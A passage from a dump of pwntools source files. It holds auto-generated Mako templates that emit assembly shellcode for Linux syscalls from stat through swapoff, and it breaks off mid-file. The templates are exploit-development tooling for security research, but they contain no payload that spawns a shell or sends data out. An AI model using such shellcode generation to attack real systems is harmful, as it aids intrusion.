    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>stat(file, buf) -> str\n\nInvokes the syscall stat.\n\nSee 'man 2 stat' for more information.\n\nArguments:\n    file(char*): file\n    buf(stat*): buf\nReturns:\n    int\n</%docstring>\n<%page args=\"file=0, buf=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['file']\n    can_pushstr_array = []\n\n    argument_names = ['file', 'buf']\n    argument_values = [file, buf]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_stat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_stat'])\n%>\n    /* stat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/stat64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>stat64(file, buf) -> str\n\nInvokes the syscall stat64.\n\nSee 'man 2 stat64' for more information.\n\nArguments:\n    file(char*): file\n    buf(stat64*): buf\nReturns:\n    int\n</%docstring>\n<%page args=\"file=0, buf=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['file']\n    can_pushstr_array = []\n\n    argument_names = ['file', 'buf']\n    argument_values = [file, buf]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_stat64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_stat64'])\n%>\n    /* stat64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/statfs.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>statfs(file, buf) -> str\n\nInvokes the syscall statfs.\n\nSee 'man 2 statfs' for more information.\n\nArguments:\n    file(char*): file\n    buf(statfs*): buf\nReturns:\n    int\n</%docstring>\n<%page args=\"file=0, buf=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['file']\n    can_pushstr_array = []\n\n    argument_names = ['file', 'buf']\n    argument_values = [file, buf]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_statfs']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_statfs'])\n%>\n    /* statfs(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/statfs64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>statfs64(file, buf) -> str\n\nInvokes the syscall statfs64.\n\nSee 'man 2 statfs64' for more information.\n\nArguments:\n    file(char*): file\n    buf(statfs64*): buf\nReturns:\n    int\n</%docstring>\n<%page args=\"file=0, buf=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['file']\n    can_pushstr_array = []\n\n    argument_names = ['file', 'buf']\n    argument_values = [file, buf]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_statfs64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_statfs64'])\n%>\n    /* statfs64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/statx.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>statx(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall statx.\n\nSee 'man 2 statx' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_statx']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_statx'])\n%>\n    /* statx(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/stime.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>stime(when) -> str\n\nInvokes the syscall stime.\n\nSee 'man 2 stime' for more information.\n\nArguments:\n    when(time_t*): when\nReturns:\n    int\n</%docstring>\n<%page args=\"when=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['when']\n    argument_values = [when]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_stime']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_stime'])\n%>\n    /* stime(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/stty.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>stty(fd, params) -> str\n\nInvokes the syscall stty.\n\nSee 'man 2 stty' for more information.\n\nArguments:\n    fd(int): fd\n    params(sgttyb*): params\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, params=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'params']\n    argument_values = [fd, params]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_stty']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_stty'])\n%>\n    /* stty(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/subpage_prot.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>subpage_prot(addr, length, map) -> str\n\nInvokes the syscall subpage_prot.\n\nSee 'man 2 subpage_prot' for more information.\n\nArguments:\n    addr(unsigned): addr\n    length(unsigned): length\n    map(uint32_t*): map\nReturns:\n    long\n</%docstring>\n<%page args=\"addr=0, length=0, map=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['addr', 'length', 'map']\n    argument_values = [addr, length, map]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_subpage_prot']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_subpage_prot'])\n%>\n    /* subpage_prot(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/swapcontext.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>swapcontext(oucp, ucp) -> str\n\nInvokes the syscall swapcontext.\n\nSee 'man 2 swapcontext' for more information.\n\nArguments:\n    oucp(ucontext_t*): oucp\n    ucp(ucontext_t*): ucp\nReturns:\n    int\n</%docstring>\n<%page args=\"oucp=0, ucp=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['oucp', 'ucp']\n    argument_values = [oucp, ucp]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_swapcontext']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_swapcontext'])\n%>\n    /* swapcontext(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/swapoff.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>swapoff(path) -> str\n\nInvokes the syscall swapoff.\n\nSee 'man 2 swapoff' for more information.\n\nArguments:\n    path(char*): path\nReturns:\n    int\n</%docstring>\n<%page args=\"path=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['path']\n    can_pushstr_array = []\n\n    argument_names = ['path']\n    argument_values = [path]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and 